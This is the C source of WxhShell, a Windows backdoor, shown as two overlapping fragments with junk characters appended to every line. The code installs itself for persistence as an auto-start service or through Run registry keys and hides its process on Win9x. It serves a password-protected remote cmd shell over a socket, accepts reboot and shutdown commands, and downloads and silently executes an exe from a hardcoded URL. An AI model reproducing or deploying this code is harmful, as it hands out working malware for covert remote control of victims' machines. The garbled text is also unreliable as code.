    } ,3c25.,*  
  // 关机 /er{sKVX<  
  case 'd': { ~l?c.CS d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N$v_z>6Z  
    if(Boot(SHUTDOWN)) _L` uC jA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u^B!6Sj8  
    else { Y0-?"R8  
    closesocket(wsh); +?ZP3vgGA  
    ExitThread(0); B0A y  
    } Mw"[2PA  
    break; 8a]g>g  
    } Nn-k hl|11  
  // 获取shell )4-!]NsV  
  case 's': { `sIm&.d  
    CmdShell(wsh); L+T'TC:  
    closesocket(wsh); :?LNP3}  
    ExitThread(0); {Rb;1 eYj  
    break; )m+O.`x  
  } zDEgC  
  // 退出 .Y^3G7On  
  case 'x': { KaS*LDzw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PC+Soh*  
    CloseIt(wsh); ?Q+*[YEJ5  
    break; Gc*=n*@^K  
    } DfU= i'R  
  // 离开 !fd>wvJ,:  
  case 'q': { 0VNpd~G$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gR gB= C{  
    closesocket(wsh); D5({&.X[-  
    WSACleanup(); 8z7eL>)  
    exit(1); PhV/WjCZ  
    break; X8}\m%gCU  
        } *GY8#Az  
  } =Ti@Y  
  } z_'!?K{  
t^>P,%$  
  // 提示信息 "#gS?aS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z__fwv.X[  
} | oM`  
  } k%\y,b*  
)F\kGe  
  return; fv+d3s?h  
} X2;72  
m\CU,9;;(  
// shell模块句柄 6R8>w,  
int CmdShell(SOCKET sock) :;hX$Qz  
{ 1Z;cb0:  
STARTUPINFO si; =sv?))b`  
ZeroMemory(&si,sizeof(si)); Nu3IYS5&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T-GvPl9ZJw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vXwMo4F*  
PROCESS_INFORMATION ProcessInfo; d0|{/4IWw;  
char cmdline[]="cmd"; !FyO5`v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PX0N7L  
  return 0; 1:- M<=J?f  
} J7oj@Or9  
hR:i!  
// 自身启动模式 _A& [rBm|  
int StartFromService(void) " W{rS4L  
{ \}9)`1D  
typedef struct \o3s&{+ y,  
{ l-20X{$m:  
  DWORD ExitStatus; uPN^o.,/.  
  DWORD PebBaseAddress; I![/bwObG  
  DWORD AffinityMask; m@*aA}69  
  DWORD BasePriority; Wd(|w8J{a  
  ULONG UniqueProcessId; \fSruhD  
  ULONG InheritedFromUniqueProcessId; vN@04a\h  
}   PROCESS_BASIC_INFORMATION; N+5f.c+S-  
{R[V  
PROCNTQSIP NtQueryInformationProcess; <0hVDk~  
K4E2W9h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #lSGH 5Fp?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >ifys)wg>  
zVe,HKF/  
  HANDLE             hProcess; "}%j'  
  PROCESS_BASIC_INFORMATION pbi; #nft{AN  
-kP2Brm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9-&@Y  
  if(NULL == hInst ) return 0; .YH#+T'  
{|j-e{*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $AvaOI.l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p`Tl)[*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y#-c<o}f  
BT;1"l<  
  if (!NtQueryInformationProcess) return 0; '4 3U v  
<nV3`L&]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mr_NArF  
  if(!hProcess) return 0; "Wk K1u  
8'fF{C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RtxAIMzh?  
 ]SL+ZT  
  CloseHandle(hProcess); /:BC<]s  
Uvi@HB HJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *Sbc 8Y  
if(hProcess==NULL) return 0; SX =^C  
#Q_<eo%lI*  
HMODULE hMod; jJ@@W~/)B  
char procName[255]; @n9iOf~<  
unsigned long cbNeeded; ]d%Ou]609  
ts@ e ,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W$l4@A  
Z$m&F0g  
  CloseHandle(hProcess); ?v F8 y;Jh  
(r'NB  
if(strstr(procName,"services")) return 1; // 以服务启动 )PkGT~3I  
)[&j&AI  
  return 0; // 注册表启动 [Q6$$z92Q  
} -s le7k  
$gk=~p|  
// 主模块 Aq(,  
int StartWxhshell(LPSTR lpCmdLine) 6"rS?>W/mO  
{ &?y|Pn  
  SOCKET wsl; |\"%Dy[m  
BOOL val=TRUE; i*09m^r  
  int port=0; ygQAA!&']  
  struct sockaddr_in door; cZrJW  
4IM&#_6  
  if(wscfg.ws_autoins) Install(); lD _iIe~c  
l#w0-n%S  
port=atoi(lpCmdLine); ogdAJw6 9  
3z#fFP@E  
if(port<=0) port=wscfg.ws_port; GIR12%-EO  
1.~^QH\p?3  
  WSADATA data; .>y3`,0h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $m+Pl[s  
*_Pkb.3R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jlUT9Zp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8jLO-^X<<  
  door.sin_family = AF_INET; s>>lf&7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,d=Dicaz  
  door.sin_port = htons(port); b+CvA(*  
gKPqU@$*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zyz)`>cB  
closesocket(wsl); k9\n='OI  
return 1;  f|yq~3x)  
} 3zM>2)T-  
WS@8Z0@RD  
  if(listen(wsl,2) == INVALID_SOCKET) { Dl}va  
closesocket(wsl); S|IDFDn  
return 1; ??P3gA  
} L>57eF)7  
  Wxhshell(wsl); V0F1X s`  
  WSACleanup(); wG22ffaki  
oOQ0f |MGp  
return 0; 4%TmW/yd  
2qKAO/_O  
} G#'G9/Tm  
*vzj(HGO  
// 以NT服务方式启动 gaL.5_1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K5+ONA<c  
{ 5Ak>/QF9  
DWORD   status = 0; ]}_Ohe]X  
  DWORD   specificError = 0xfffffff; gGbqXG^  
/"1[qT\F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OnE~0+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |X~vsM0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6" . v6  
  serviceStatus.dwWin32ExitCode     = 0; VZA>ErB  
  serviceStatus.dwServiceSpecificExitCode = 0; FvBnmYn W  
  serviceStatus.dwCheckPoint       = 0; .Na'yS `J  
  serviceStatus.dwWaitHint       = 0; 7b kh")^  
L7.LFWq$S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]jP 0Z#  
  if (hServiceStatusHandle==0) return; v #Q(g/^  
o1<Z; 2#  
status = GetLastError(); Xkp`1UTH  
  if (status!=NO_ERROR) \Q,5Ne'o  
{ *eUxarI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &+pp;1ls  
    serviceStatus.dwCheckPoint       = 0; ? ~_h3bHH  
    serviceStatus.dwWaitHint       = 0; T\T>\&nY+|  
    serviceStatus.dwWin32ExitCode     = status; 7I{rhA  
    serviceStatus.dwServiceSpecificExitCode = specificError; CH=k=)() ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7{ QjE  
    return; V%J_iY/BUb  
  } #w)D ml  
2fdC @V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5 |oi*b  
  serviceStatus.dwCheckPoint       = 0; yrrP#F  
  serviceStatus.dwWaitHint       = 0; Y2y = P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BUEV+SZ4  
} I%ZSh]On  
M0RVEhX  
// 处理NT服务事件,比如:启动、停止 B+=Xb;p8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \YF'qWB  
{ fu`|@S  
switch(fdwControl) th|TwD&mO  
{ ebB8.(k9G3  
case SERVICE_CONTROL_STOP: 0J9Ub   
  serviceStatus.dwWin32ExitCode = 0; GG`;c?d@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =xHzhh  
  serviceStatus.dwCheckPoint   = 0; 7C^W<SUo  
  serviceStatus.dwWaitHint     = 0; '\B!1B>T  
  { 'ewVn1ME[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |f"1I4K g  
  } lO^YAOY  
  return; K>`*JJ,  
case SERVICE_CONTROL_PAUSE: 0]t7(P"F6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dIvvJk8  
  break; 3=kw{r[2lM  
case SERVICE_CONTROL_CONTINUE: ? `#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WLN;LT  
  break; zB)wY KwZ  
case SERVICE_CONTROL_INTERROGATE: ( ESmP  
  break; ::G0v  
}; 7 [?]DyOf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >`.$Tyw  
} gS ^Y?  
\ >|:URnD  
// 标准应用程序主函数 Ezw<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zk 9i}H  
{ H-Or  
EN2/3~syO-  
// 获取操作系统版本 UNKXfe(X9  
OsIsNt=GetOsVer(); CKRnkTTiV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F%e5j9X`  
uze5u\  
  // 从命令行安装 Je;HAhL  
  if(strpbrk(lpCmdLine,"iI")) Install(); g 2&P  
CjlA"_!%E  
  // 下载执行文件 ao)8ie  
if(wscfg.ws_downexe) { E@^mlUf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4>I;^LHn  
  WinExec(wscfg.ws_filenam,SW_HIDE); HpTX6}^  
} FPXB>D'  
yM*< BV  
if(!OsIsNt) { $iAd)2LT  
// 如果时win9x,隐藏进程并且设置为注册表启动 _^u^@.Q'i<  
HideProc(); I r;Z+}4>Y  
StartWxhshell(lpCmdLine); $ &fm^1  
} 5NAB^&{Z<X  
else Cr$8\{2OA7  
  if(StartFromService()) c9N5c  
  // 以服务方式启动 V(6ovJpA0  
  StartServiceCtrlDispatcher(DispatchTable); !mRDzr7  
else 3k?|-js  
  // 普通方式启动 XYsU)(;j  
  StartWxhshell(lpCmdLine);  8&KqrA86  
8 n)3'ok  
return 0; [i)G:8U  
} 9jTm g%  
5!^DKyw:  
RI64QD  
}=JuC+#~n  
=========================================== 05Go*QvV  
rA#Ji~  
Y!L<& sl   
G .k\N(l  
piKR*|F  
jneos~ 'n8  
" #R$[?fW  
b_j8g{/9  
#include <stdio.h> t+Rt*yjO  
#include <string.h> dsUY[X-<6  
#include <windows.h> 04cNi~@m  
#include <winsock2.h> &26H   
#include <winsvc.h> I &I q  
#include <urlmon.h> TdH~ sz  
9J'3b <  
#pragma comment (lib, "Ws2_32.lib") h9L/.>CX  
#pragma comment (lib, "urlmon.lib") GLIP;)h1  
sOLR*=F{  
#define MAX_USER   100 // 最大客户端连接数 &24z`ZS[w6  
#define BUF_SOCK   200 // sock buffer @s/0 .7  
#define KEY_BUFF   255 // 输入 buffer hz_F^gF  
v"a.%" oN8  
#define REBOOT     0   // 重启 O:3DIT1#>  
#define SHUTDOWN   1   // 关机 n32.W?9  
esVZ2_eL  
#define DEF_PORT   5000 // 监听端口 3teanU`  
f.SmCgG  
#define REG_LEN     16   // 注册表键长度 z ''-AH,  
#define SVC_LEN     80   // NT服务名长度 SR\F2@u  
P",E/beV  
// 从dll定义API 2DbM48\E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;NzS;C'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); trC+Etc   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y()Si\9v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E)7ODRVbl  
PofHe  
// wxhshell配置信息 \9t6 #8  
struct WSCFG { /i)1BaF  
  int ws_port;         // 监听端口 k|c=O6GO  
  char ws_passstr[REG_LEN]; // 口令 qEbzF#a-:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3V`.<  
  char ws_regname[REG_LEN]; // 注册表键名 _z3YB  
  char ws_svcname[REG_LEN]; // 服务名 `Gp!Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _C97G&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oPA [vY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fCxF3m(O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *PVv=SU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +w pe<T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dECH/vJ^  
HGjGV]N5  
}; : 'LG%E:b  
=wy3h0k^  
// default Wxhshell configuration ^."HD(  
struct WSCFG wscfg={DEF_PORT, c_r&)8  
    "xuhuanlingzhe", `e!hT@Xxa  
    1, 2dF:;k k  
    "Wxhshell", N%.Dj H  
    "Wxhshell", 5{&<X.jv  
            "WxhShell Service", TGJ\f  
    "Wrsky Windows CmdShell Service", zUhJr$N$  
    "Please Input Your Password: ", WrGz`  
  1, f{DcR"  
  "http://www.wrsky.com/wxhshell.exe", MYb^ILz H3  
  "Wxhshell.exe" aab?hR  
    }; HKdR?HM1  
!bHM:!6^  
// 消息定义模块 a~-^$Fzgy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S3k>34_%9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E|A,NPf%I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T?Dq2UW  
char *msg_ws_ext="\n\rExit."; CF`fn6  
char *msg_ws_end="\n\rQuit."; tyLR_@i%%  
char *msg_ws_boot="\n\rReboot..."; KQ x<{-G6  
char *msg_ws_poff="\n\rShutdown..."; 3[jk}2R';p  
char *msg_ws_down="\n\rSave to "; 6/#5TdJA  
mJ%r2$/*  
char *msg_ws_err="\n\rErr!"; ]3E':JM@  
char *msg_ws_ok="\n\rOK!"; d">Ya !W  
9$xEktfV  
char ExeFile[MAX_PATH]; plY`lqm  
int nUser = 0; *0^t;A+  
HANDLE handles[MAX_USER]; '*KP{"3\  
int OsIsNt; !I? J^0T  
FDAREE\j  
SERVICE_STATUS       serviceStatus; Qp?n0WXZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0P_Y6w+  
QJG]z'c+  
// 函数声明 63$ R')  
int Install(void); p ?HODwZ  
int Uninstall(void); ibOXh U  
int DownloadFile(char *sURL, SOCKET wsh); D^Z~>D6  
int Boot(int flag); A_t<SG5  
void HideProc(void); O;A/(lPW+  
int GetOsVer(void); ]rh)AE!Y(  
int Wxhshell(SOCKET wsl); "iof -b=ys  
void TalkWithClient(void *cs); 8bX\^&N  
int CmdShell(SOCKET sock); \?} {wh8  
int StartFromService(void); &\C{,:[  
int StartWxhshell(LPSTR lpCmdLine); '7F`qL\/#(  
_l?5GLl_F$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^/Hj^4~_U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wBcDL/(>  
y^C; ?B<  
// 数据结构和表定义 *4zVK/FJ  
SERVICE_TABLE_ENTRY DispatchTable[] = Hc@Z7eQ3^  
{ r[$Qtj Q  
{wscfg.ws_svcname, NTServiceMain}, FVsNOU  
{NULL, NULL} |yI?}zyR  
}; ^yRCR] oT  
WPE@yI(  
// 自我安装  \~  
int Install(void) oh;F]*k6  
{ b>%I=H%g  
  char svExeFile[MAX_PATH]; ^3`98y.Q  
  HKEY key; s 8``U~D   
  strcpy(svExeFile,ExeFile); is}Fy>9i  
f ( `.q  
// 如果是win9x系统,修改注册表设为自启动 )^!-Aj\x  
if(!OsIsNt) { U[S;5xeF.j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ze$:-7Czl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7l Aa6"Y68  
  RegCloseKey(key); P|.KMtG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2597#O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nm'm*sU\  
  RegCloseKey(key); @D"1}CW  
  return 0; S$"A[  
    } 7$GP#V1r/  
  } f|VP_o<  
} CRWO R pP  
else { )m[!HE`cZ  
PyHE >C%  
// 如果是NT以上系统,安装为系统服务 d*3R0Q|#{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qRB7I:m-Wi  
if (schSCManager!=0) vfhip"1  
{ /KKX;L[D(  
  SC_HANDLE schService = CreateService v *:m|wl  
  ( TF^]^XS'  
  schSCManager, wCvD4C.WH  
  wscfg.ws_svcname, t9pPG{1  
  wscfg.ws_svcdisp, nbpN+a%  
  SERVICE_ALL_ACCESS, Zt` ,DM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xs &vgel>  
  SERVICE_AUTO_START, ,75,~  
  SERVICE_ERROR_NORMAL, l!iB -?'u  
  svExeFile, kd\yHI9A  
  NULL, Mdwh-Cis/  
  NULL, lQ+-g#`  
  NULL, >5 5/@+^  
  NULL, _k+Bj.L  
  NULL *rEW@06^\  
  ); iCx'`^HnP  
  if (schService!=0) Q}2w~Cn\S  
  { f\(Kou$  
  CloseServiceHandle(schService); jv0e&rt  
  CloseServiceHandle(schSCManager); # |UrHK;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;U`HvIch  
  strcat(svExeFile,wscfg.ws_svcname); 0XozYyq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V,M8RYOnC!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hV8A<VT  
  RegCloseKey(key); Pq4sv`q)S  
  return 0; % 9WWBxS  
    } *gT TI;:  
  } hcaH   
  CloseServiceHandle(schSCManager); %)aDh }  
} xEiW]Eo  
} xU rfH$$!`  
ac&tpvij  
return 1; 2=3iA09px  
} L:^'cl} G  
Vk_L*lcN  
// 自我卸载 2dI:],7  
int Uninstall(void) L,kF]  
{ sU}e78mh  
  HKEY key; \R#XSW,  
i([A8C_A  
if(!OsIsNt) { mA>Pr<aV:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sdt @"6  
  RegDeleteValue(key,wscfg.ws_regname); |]]fcJOBP  
  RegCloseKey(key); xjX5PQu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OIWo* %  
  RegDeleteValue(key,wscfg.ws_regname); $4M3j%S  
  RegCloseKey(key); Lq&xlW j  
  return 0; L]tyL)  
  } 6a,YxR\  
} P 2Eyqd8  
} k<f*ns  
else { ]JM9 ^F  
g{a0,B/j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uIPR*9~6o  
if (schSCManager!=0) 7v:;`6Jb  
{ %Mu dc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WMC6 dD_6e  
  if (schService!=0) 4v?S` w:6  
  { !kz\ {  
  if(DeleteService(schService)!=0) { hmi15VW  
  CloseServiceHandle(schService); [j/-(?+  
  CloseServiceHandle(schSCManager); (nzzX?`nY  
  return 0; D6m>>&E['  
  } r:o!w7C:a  
  CloseServiceHandle(schService); \4&g5vE  
  } oyd{}$71d  
  CloseServiceHandle(schSCManager); '\;tmD"N5#  
} 9(I4x]`  
} 1h"B-x  
 ~.Gk:M  
return 1; f[ywC$en  
} 1GNA x\(  
"h#=ctCx"  
// 从指定url下载文件 F`N*{at  
int DownloadFile(char *sURL, SOCKET wsh) 2-6-kS)c  
{ /[-hJ=< Yb  
  HRESULT hr; u/zfx ;K  
char seps[]= "/"; ~& l`"  
char *token; 3A9|{Vaz+6  
char *file; qjFgy)qV  
char myURL[MAX_PATH]; aD:+,MZ  
char myFILE[MAX_PATH]; bd9c/>&  
s0h)~z  
strcpy(myURL,sURL); 0'<S7?~|  
  token=strtok(myURL,seps); $pKS['J0  
  while(token!=NULL) _96&P7  
  { JSL 3.J  
    file=token; &0"`\~lA  
  token=strtok(NULL,seps); +(<f(]bG  
  } TvP# /qGgG  
*Zvw&y*  
GetCurrentDirectory(MAX_PATH,myFILE); R}]FIu  
strcat(myFILE, "\\"); | jkmh6  
strcat(myFILE, file); c2U>89LlZ  
  send(wsh,myFILE,strlen(myFILE),0); ZA P+jX;  
send(wsh,"...",3,0); 1Li@O[%X<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v$cD!`+k  
  if(hr==S_OK) Ob6vg^#  
return 0; ibq@0CR  
else rx"zqm9 }u  
return 1; Gg+>_b{S5T  
4j*}|@x  
} WAEKvM4*i0  
qRFN@ID$  
// 系统电源模块 ev3x*}d0  
int Boot(int flag) O<hHo]jLF  
{ 3,[2-obmi  
  HANDLE hToken; pA2U+Q@  
  TOKEN_PRIVILEGES tkp; j0GI[#  
|bk*Lgkzw  
  if(OsIsNt) { U!5@$Fu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); anvj{1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xI@~Ig  
    tkp.PrivilegeCount = 1; 2*|]#W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t'J fiGM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }:%pOL n  
if(flag==REBOOT) { EDo (  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) piP8ObGjy  
  return 0; W)#`4a^xj7  
} 5c"kLq6r  
else { E;qwoTmul  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1bBK1Uw  
  return 0; JvDsr0]\#  
} WdT|xf.Q&  
  } HZ}*o%O  
  else { gY9"!IVe+  
if(flag==REBOOT) { l;.BlHyu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B4}XK =)  
  return 0; q :bKT#\  
} c&++[  
else { (yP55PC O$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zCHr  
  return 0; x3Ud0[(  
} kslN_\   
} "YL-!P  
:3B\,inJ  
return 1; $c}0L0  
} }$-VI\96  
a%dx\&K  
// win9x进程隐藏模块 pd#/;LT  
void HideProc(void) b5DrwX{Ff  
{ AJT0)FCpR  
v\Ljm,+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |=LkV"_v  
  if ( hKernel != NULL ) FT~^$)8=  
  { 4i,SiFKB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aW"!bAdx`,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  zjA/Z(  
    FreeLibrary(hKernel); c #kV+n<  
  } *3$,f>W^  
HhvG#Sam!  
return; ^aXBt  
} X2cR+Ha0  
akQH+j  
// 获取操作系统版本 vrzX%'  
int GetOsVer(void) `xUPML-  
{ _ ^{Ep/ME=  
  OSVERSIONINFO winfo; f[b YjIX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T Rw6$CR  
  GetVersionEx(&winfo); 6<Z: Xw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [fp"MPP3  
  return 1; blcKtrYg  
  else vgj^-  
  return 0; O@iW?9C+  
} CWp1)% 0=  
E0Q"qEvU  
// 客户端句柄模块 { ZX C%(u  
int Wxhshell(SOCKET wsl) PoJ$%_a}  
{ $hSZ@w|IF  
  SOCKET wsh; :2E1aVo4b  
  struct sockaddr_in client; j&A3s{S4A  
  DWORD myID; opMUt,4  
KIo}Gd&  
  while(nUser<MAX_USER) ZRB 0OH  
{ Yys~p2  
  int nSize=sizeof(client); t\i1VXtO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m]\zt  
  if(wsh==INVALID_SOCKET) return 1; sw|:Z(`  
hZ<btN .y5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cA? x(  
if(handles[nUser]==0) |L;psK  
  closesocket(wsh); xV#a(>-4  
else K;[%S  
  nUser++; AxlFU~E4  
  } GYC&P]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wkD:i2E7  
(0W}e(D8  
  return 0; jJZsBOW[8  
} y.p6%E_`  
fm%RNAPvc  
// 关闭 socket 7 Zt\G-QV  
void CloseIt(SOCKET wsh) Jv <$AI  
{ `{F~'t['  
closesocket(wsh); R*Z]  
nUser--; |xZcT4  
ExitThread(0); mE`qvavP|/  
} >&QH{!(  
{X<4wxeTo  
// 客户端请求句柄 xn@0pL3B~  
void TalkWithClient(void *cs) *ldMr{s<R  
{ U5!f++  
q 9S z7_K  
  SOCKET wsh=(SOCKET)cs; ]^9* t,{9  
  char pwd[SVC_LEN]; \bm6/fhA:  
  char cmd[KEY_BUFF]; tvT8UW'  
char chr[1]; kQVDC,d  
int i,j; ~9r!m5ws  
QaWHz   
  while (nUser < MAX_USER) { $-Pqs ^g  
M~Qj'VVL  
if(wscfg.ws_passstr) { K;p<f{PE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BD7@Mj*|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p*`SGX  
  //ZeroMemory(pwd,KEY_BUFF); ^Opy6Bqb  
      i=0; neh;`7~5@K  
  while(i<SVC_LEN) { H:-A; f!Z  
oNB,.:  
  // 设置超时 xDJ+BQ<1A  
  fd_set FdRead; l(#ke  
  struct timeval TimeOut; tIb21c q  
  FD_ZERO(&FdRead); ny(GTKoUz  
  FD_SET(wsh,&FdRead); eQFb$C]R}y  
  TimeOut.tv_sec=8; 7TkxvSL X  
  TimeOut.tv_usec=0; vM7vf6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y#&0x_Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U`8 |9v  
G4Kmt98I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D2</^]3Su  
  pwd=chr[0]; +Y)#yGUn  
  if(chr[0]==0xd || chr[0]==0xa) { i*CQor6|z  
  pwd=0; Tz[?gF.Do  
  break; kAN;S<jSE  
  } Y/,$Y]%g  
  i++; b"M`@';+  
    } eh:}X}c=J]  
4r[pMJiq  
  // 如果是非法用户,关闭 socket -, Q$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b"nG-0JR  
}  (X(1kj3  
T5S g2a1&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xN3 [Kp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $iqi:vY  
%gu$_S  
while(1) { ) p<fL  
AB"1(PbG  
  ZeroMemory(cmd,KEY_BUFF); ZSPgci  
AL]h|)6QpC  
      // 自动支持客户端 telnet标准   pSQCT  
  j=0; zD2.Q%`IM  
  while(j<KEY_BUFF) { a,~D+s;^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sr+gD*@h  
  cmd[j]=chr[0]; #_?TIY:h  
  if(chr[0]==0xa || chr[0]==0xd) { 'sRg4?PT  
  cmd[j]=0; 3X$Q,  
  break; iog # ,  
  } 8jggc#.  
  j++; 5, -pBep<  
    } 1a&/Zlr  
5'X74`  
  // 下载文件 K)/!&{7n}a  
  if(strstr(cmd,"http://")) { %e Sm&`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kqD*TJA  
  if(DownloadFile(cmd,wsh)) >wKu6- ]a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eb!s'@  
  else DhLr^Z!h3;  
